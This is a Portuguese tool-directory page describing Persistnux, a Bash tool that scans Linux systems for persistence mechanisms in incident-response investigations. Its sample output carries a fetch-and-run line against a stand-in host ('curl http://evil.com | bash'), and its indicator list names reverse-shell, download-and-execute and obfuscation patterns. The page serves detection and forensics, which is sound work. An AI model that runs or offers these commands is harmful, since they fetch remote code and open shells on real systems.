Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Persistnux — Ferramenta de detecção de persistência em Linux baseada em Bash para investigações DFIR. Escaneia mais de 15 mecanismos de persistência (systemd, cron, módulos do kernel, SSH, contêineres) com pontuação de confiança e gera relatórios CSV/JSONL para análise forense. | Kitploit
Ferramentas/GitHubGitHub/go-lanz/persistnux
Escalada de PrivilégiosMecanismos de PersistênciaAnálise de VulnerabilidadesAnálise ForenseAnálise de MalwareForensia DigitalAprendizado e EducaçãoResposta a IncidentesEscape de ContêinerLabs e Prática
GitHubgo-lanz/persistnux
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Persistnux

Ferramenta de detecção de persistência em Linux baseada em Bash para investigações DFIR. Escaneia mais de 15 mecanismos de persistência (systemd, cron, módulos do kernel, SSH, contêineres) com pontuação de confiança e gera relatórios CSV/JSONL para análise forense.

Ver Repositório

Persistnux

Uma ferramenta abrangente de detecção de persistência em Linux para investigações de Resposta a Incidentes e Forense Digital (DFIR).

Visão Geral

Persistnux é uma ferramenta baseada em bash projetada para identificar mecanismos conhecidos de persistência em Linux usados por atacantes para manter acesso a sistemas comprometidos. Ela realiza verificações abrangentes no sistema e gera relatórios detalhados nos formatos CSV e JSONL para análise posterior.

Funcionalidades

  • Detecção Abrangente: Cobre todos os principais mecanismos de persistência em Linux
  • Análise ao Vivo: Executa diretamente em sistemas ativos com dependências mínimas
  • Saída Detalhada: Gera relatórios CSV e JSONL com hashes de arquivos, metadados e pontuações de confiança
  • Root e Não-Root: Funciona com ou sem privilégios root (com escopo limitado para não-root)
  • Pronto para DFIR: Formatos de saída compatíveis com ferramentas e fluxos de trabalho DFIR comuns
  • Pontuação de Suspeição: Pontuação de confiança automática (LOW, MEDIUM, HIGH, CRITICAL) baseada em indicadores
  • Redução de Falsos Positivos: Integração com gerenciador de pacotes e lista de permissões de serviços conhecidos como seguros
  • Análise Baseada em Tempo: Arquivos modificados recentemente recebem pontuações de confiança mais altas
  • Correspondência de Padrões: Detecta reverse shells, padrões de download-e-execução, técnicas de ofuscação

Mecanismos de Persistência Detectados

1. Serviços Systemd

  • Arquivos de serviço (.service) em /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Serviços systemd no nível do usuário
  • Filtra serviços desabilitados e serviços sem ExecStart
  • Detecta comandos ExecStart suspeitos
  • Verifica a integridade dos pacotes de binários/scripts executados

2. Cron Jobs e Tarefas Agendadas

  • Crontabs do sistema (/etc/crontab, /etc/cron.d/*)
  • Diretórios de execução periódica (/etc/cron.{daily,hourly,weekly,monthly})
  • Crontabs de usuário para todos os usuários (modo root)
  • At jobs
  • Padrões de comando suspeitos em tarefas agendadas
  • Arquivos ACL /etc/cron.allow e /etc/cron.deny — entradas referenciando usuários inexistentes sinalizadas

3. Perfis de Shell e Arquivos RC

  • Perfis do sistema (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Scripts Profile.d (/etc/profile.d/*)
  • Perfis de usuário (.bashrc, .bash_profile, .zshrc, .profile, etc.)
  • Configurações do Fish shell
  • Detecta comandos maliciosos em arquivos de perfil

4. Scripts Init e RC.local

  • /etc/rc.local e variantes
  • Scripts init SysV (/etc/init.d)
  • Scripts de runlevel (/etc/rc*.d)
  • Detecta comandos suspeitos de download/execução

5. Módulos do Kernel e Pré-carregamento de Bibliotecas

  • Configurações LD_PRELOAD (/etc/ld.so.preload) — cada biblioteca listada verificada via gerenciador de pacotes
  • Configurações do linker dinâmico (/etc/ld.so.conf, /etc/ld.so.conf.d/) — integridade do arquivo de configuração + arquivos .so em caminhos não padrão verificados
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH — arquivo de ambiente sinalizado HIGH; caminhos de bibliotecas referenciados verificados (não gerenciado/modificado → CRITICAL)
  • Parâmetros de módulos do kernel (/etc/modprobe.d/, /etc/modprobe.conf) — integridade do arquivo; diretivas install analisadas para alvos de comando suspeitos; blacklist de módulos de segurança (apparmor, selinux, seccomp) sinalizado HIGH
  • Configurações de carregamento automático de módulos do kernel (/etc/modules, /etc/modules-load.d/) — integridade da configuração; nomes de módulos referenciados resolvidos para arquivos via e verificados

6. Mecanismos Adicionais

  • Entradas XDG autostart (.config/autostart, /etc/xdg/autostart) — todos os diretórios home de usuários verificados quando root
  • Arquivos de ambiente do sistema (/etc/environment) — caminhos de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH verificados
  • Configurações sudoers e drop-ins (/etc/sudoers, /etc/sudoers.d/) — padrões NOPASSWD/ALL → HIGH
  • PAM (Módulos de Autenticação Conectáveis):
    • Todos os módulos .so verificados via gerenciador de pacotes; diretivas @include seguidas; /etc/pam.conf incluído
    • Análise de scripts pam_exec.so — scripts ausentes/suspeitos → CRITICAL
    • Detecção de relay pam_python.so / pam_perl.so — script extraído e analisado
    • Detecção de arquivo hook pam_script.so em

8. Persistência SSH

  • ~/.ssh/authorized_keys por usuário — chaves modificadas recentemente sinalizadas; opção command= analisada para padrões suspeitos
  • ~/.ssh/rc por usuário — presença sinalizada MEDIUM; conteúdo de reverse shell suspeito → HIGH/CRITICAL

9. Sequestro de Binários

  • Verifica binários instalados do sistema contra o banco de dados de pacotes (dpkg -V no Debian/Ubuntu, rpm -Va no RHEL/CentOS)
  • Arquivos modificados em /usr/bin, /usr/sbin, /bin, /sbin → achado CRITICAL
  • Módulos PAM modificados em /lib/security → achado CRITICAL
  • Conffiles (arquivos de configuração do dpkg) são excluídos para evitar falsos positivos

10. Bootloader e Initramfs

  • Injeção de parâmetro do kernel init= no GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Scripts init descartados no nível root em /
  • Módulos initramfs do Dracut com hooks pre-pivot escrevendo em /sysroot/etc/shadow
  • Scripts hook do initramfs-tools do Ubuntu em /etc/initramfs-tools/scripts/ e /hooks/
  • Imagens /boot/initrd.img-* modificadas recentemente (baseado em mtime)

11. Manipulação do Polkit (PolicyKit)

  • Arquivos .pkla com ResultAny/ResultInactive/ResultActive=yes incondicional
  • Concessões de identidade curinga (unix-user:*)
  • Arquivos .rules com polkit.Result.YES incondicional (Polkit >= 0.106 baseado em JavaScript)

12. D-Bus e NetworkManager

  • Registro malicioso de serviço de sistema D-Bus Exec= (/usr/share/dbus-1/system-services/)
  • Diretivas curinga de política D-Bus allow own="*" ou send_destination="*"
  • Scripts do dispatcher do NetworkManager (/etc/NetworkManager/dispatcher.d/)

13. Regras Udev

  • Diretivas Udev RUN+= executando comandos ou scripts arbitrários (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Regras injetadas em tempo de execução em /run/udev/rules.d/
  • Padrões de delegação at/cron em RUN+= (desvio comum de restrição de foreground)

14. Fuga de Contêiner

  • Contêineres Docker privilegiados (--privileged, --pid=host)
  • Bind-mounts de docker.sock em contêineres (controle total do host via API Docker)
  • nsenter -t 1 em entrypoints de contêineres ou Dockerfiles
  • Dockerfiles em diretórios graváveis por usuário contendo técnicas de fuga

15. Verificações Avançadas de Binários e Privilégios

  • Varredura ativa do sistema de arquivos por SUID/SGID em diretórios do sistema
  • Varredura de capacidades de arquivos via getcap — cap_setuid+ep em GTFOBins → CRITICAL
  • Sequestro de binários: originais renomeados (.original, .old, .bak, .real) com scripts wrapper
  • Contas não root com UID 0 em /etc/passwd
  • Mascaramento de shell via espaço à direita no campo shell de /etc/passwd
  • Contas de sistema (UID 1-999) com arquivos authorized_keys SSH

Instalação

root@kitploit:~
# Clone o repositório
git clone https://github.com/seuusuario/persistnux.git
cd persistnux

# Torne o script executável
chmod +x persistnux.sh

Uso

Uso Básico (Análise ao Vivo)

root@kitploit:~
# Execute com configurações padrão (mostra apenas achados suspeitos)
sudo ./persistnux.sh

# Mostra ajuda e todas as opções
./persistnux.sh --help

# Execute como usuário comum (escopo limitado)
./persistnux.sh

Opções de Filtro (v2.4+)

Por padrão, o Persistnux mostra apenas achados suspeitos (confiança MEDIUM, HIGH, CRITICAL) para reduzir ruído e focar em ameaças acionáveis.

root@kitploit:~
# Padrão: Mostra apenas achados suspeitos
sudo ./persistnux.sh

# Mostra todos os achados, incluindo linha de base (confiança LOW)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh

# Mostra apenas achados de confiança HIGH e CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Combina filtros: apenas confiança HIGH
sudo ./persistnux.sh --min-confidence HIGH

Diretório de Saída Personalizado

root@kitploit:~
# Especifica diretório de saída personalizado
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Combina com filtragem
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

Arquivos de Saída

Por padrão, o Persistnux cria um diretório de saída ./persistnux_output/ contendo:

  • persistnux_<hostname>_<timestamp>.csv - Relatório no formato CSV
  • persistnux_<hostname>_<timestamp>.jsonl - Relatório no formato JSONL (um objeto JSON por linha)
  • persistnux_<hostname>_<timestamp>_report.txt - Relatório resumido legível por humanos com contagens de achados e metadados da varredura

Formato de Saída

Formato CSV

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

Formato JSONL

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Campos Chave de Saída

  • matched_pattern: O padrão de detecção que acionou o achado (ex.: suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: O conteúdo suspeito real encontrado (linha completa, não apenas palavra-chave)

Pontuação de Confiança

O Persistnux usa pontuação de confiança inteligente para reduzir falsos positivos:

  • LOW: Configuração padrão do sistema, baixa suspeição (geralmente arquivos gerenciados por pacotes)
  • MEDIUM: Potencialmente suspeito, mas pode ser legítimo
  • HIGH: Padrões suspeitos detectados (ex.: curl/wget em cron, execução em /tmp, reverse shells)
  • CRITICAL: Evidência definitiva de adulteração — falha na verificação de integridade do pacote, SUID/SGID em arquivo suspeito, anomalia em módulo PAM, gerador systemd em local efêmero ou código de interpretador inline com payload de alta entropia

Redução de Falsos Positivos (v1.2+)

O Persistnux agora inclui vários recursos para reduzir falsos positivos:

  1. Integração com Gerenciador de Pacotes: Arquivos gerenciados por dpkg (Debian/Ubuntu) ou rpm (RedHat/CentOS) recebem pontuações de confiança menores
  2. Lista de Permissões de Serviços Conhecidos como Seguros: Serviços comuns de fornecedores (systemd-, dbus-, snap.*, etc.) são automaticamente ignorados
  3. Pontuação Baseada em Tempo: Arquivos modificados recentemente (<7 dias) recebem pontuações de confiança mais altas
  4. Análise Consciente de Contexto: Combina múltiplos indicadores para detecção mais precisa

Indicadores Suspeitos

O Persistnux sinaliza automaticamente itens com maior confiança quando detecta:

Padrões Baseados em Rede

  • Reverse shells: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Ferramentas de rede: nc, netcat, socat, telnet
  • Operações de socket em linguagens de script: python -c 'import socket'

Padrões de Download e Execução

  • Ferramentas de download: curl | bash, wget | sh
  • Download com execução: curl URL -o /tmp/file && chmod +x

Técnicas de Ofuscação

  • Codificação: base64 -d | bash, eval $(echo BASE64)
  • Execução dinâmica: eval, exec

Localizações Suspeitas

  • Diretórios temporários: /tmp, /dev/shm, /var/tmp
  • Diretórios e arquivos ocultos

Manipulação de Permissões

  • Tornar arquivos executáveis: chmod +x, chmod 777
  • Manipulação de bit SUID: chmod u+s

Requisitos

  • Bash 4.0+
  • Utilitários Unix padrão: find, grep, stat, sha256sum, awk, file
  • Opcionais: systemctl, lsmod, modinfo, getcap, dpkg/rpm (para verificações específicas)
  • Sem dependência de interpretador (bash puro + coreutils; sem necessidade de python/jq)
  • Acesso root/sudo recomendado para análise abrangente

Testado Em / Compatibilidade

Nota: A ferramenta é testada principalmente em sistemas Ubuntu/Debian. As distribuições RedHat, Fedora e baseadas em RPM têm suporte ao gerenciador de pacotes implementado no código, mas não foram validadas em ambientes de teste ativos. Contribuições e relatórios de teste para distribuições baseadas em RPM são bem-vindos.

Teste / Benchmark

O Persistnux é comparado com o PANIX, que instala os mesmos mecanismos de persistência que o Persistnux caça. O teste repetível em tests/panix_benchmark.sh aplica cada técnica do PANIX, executa o Persistnux e confirma a detecção via diff de linha de base. Toda técnica PANIX baseada em arquivo que se aplica na máquina de teste é detectada com confiança MEDIUM+. Veja PANIX_BENCHMARK.md para a tabela de cobertura completa e metodologia.

⚠️ O benchmark instala backdoors reais — execute apenas em uma VM descartável.

Roadmap

  • Modo de análise offline para imagens de disco forenses
  • Integração com coleta UAC (Unified Artifacts Collector)
  • Estender o benchmark PANIX para vetores de bootloader/initramfs/LKM em uma VM completa

Recursos

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Contribuindo

Contribuições são bem-vindas! Sinta-se à vontade para enviar pull requests ou abrir issues para:

  • Detecção de novos mecanismos de persistência
  • Correções de bugs
  • Melhorias na documentação
  • Otimizações de desempenho
  • Formatos de saída adicionais

Licença

Licença MIT - Consulte o arquivo LICENSE para detalhes

Agradecimentos

Desenvolvido para a comunidade DFIR para auxiliar na resposta a incidentes Linux e investigações forenses.

Aviso Legal

Esta ferramenta é destinada apenas para testes de segurança autorizados, resposta a incidentes e análise forense. Os usuários são responsáveis por garantir que possuem autorização adequada antes de executar esta ferramenta em qualquer sistema.

Contato

Para dúvidas, problemas ou contribuições, use o rastreador de issues do GitHub.

Baixar ferramenta
.ko
modinfo
  • Módulos do kernel carregados (lsmod) — enumeração e verificação de integridade
  • /etc/security/
  • Integridade do arquivo de configuração — configurações PAM modificadas pertencentes a pacotes → CRITICAL
  • Verificação de bibliotecas LD_PRELOAD em pam_env.conf e ~/.pam_environment
  • Varredura geral de /etc/security/
  • Scripts MOTD (/etc/update-motd.d/) — verificação de pacote; modificado → CRITICAL
  • Git credential helpers e configurações core.pager — análise de conteúdo para todos os usuários
  • Web shells em diretórios web comuns
  • DistribuiçãoStatusObservações
    Ubuntu 22.04 LTS✅ TestadoPlataforma principal de desenvolvimento e teste
    Ubuntu 20.04 LTS✅ TestadoTotalmente suportado
    Debian 11/12✅ TestadoBaseado em dpkg, mesmas convenções de caminho
    Kali Linux (rolling)✅ TestadoUsado no benchmark de detecção PANIX (veja abaixo)
    RedHat / RHEL⚠️ Ainda não testadoSuporte a rpm implementado, mas não verificado em sistemas ativos
    Fedora⚠️ Ainda não testadoSuporte a rpm implementado, mas não verificado em sistemas ativos
    CentOS / AlmaLinux / Rocky⚠️ Ainda não testadoSuporte a rpm implementado, mas não verificado em sistemas ativos